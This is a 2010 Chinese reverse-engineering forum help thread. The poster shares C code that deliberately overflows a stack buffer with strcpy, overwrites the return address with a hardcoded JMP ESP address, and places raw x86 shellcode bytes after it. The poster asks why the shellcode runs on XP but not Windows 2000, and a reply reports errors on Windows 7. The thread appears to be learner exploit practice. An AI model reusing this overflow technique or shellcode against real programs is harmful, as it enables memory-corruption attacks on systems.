首页
社区
课程
招聘
[求助]
发表于: 2010-4-4 13:43 3651

[求助]

2010-4-4 13:43
3651
char* JMPESP="\xDB\x29\x57\x7C";

unsigned char shellcode[]="\x33\xC0\xB8\x11\xD5\x57\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\x0A\x6A\x59\x7C\xFF\xD0";

void overflow(){

        char input[20];
        printf("here overflow()\n");
        strcpy(input+28, "AAAA");  //成功把返回地址OVERWRITE成AAAA , 如果用kernel32.dll的ESP JMP 去

        strcpy(input+32,shellcode);  // 在XP下是可以得到SHELLCOE的, 但我在WIN 2000 下就冇法得到SHELLCODE 請問什么原因??   
}

int main(int argv , char* argc){

        char buf[20];       
       

        printf("here 1\n");
   //((void (_stdcall*)())&shellcode[0])();
        printf("here 2\n");
       
        overflow();

        printf("here 3\n");
        system("pause");

        return 0;
}

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 160
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我用WIN 7  是可以去到SHELLCODE 但總是有ERROR
一執行SHELLCODE 就 ERROR  

上传的附件:
2010-4-4 14:49
0
游客
登录 | 注册 方可回帖
返回
//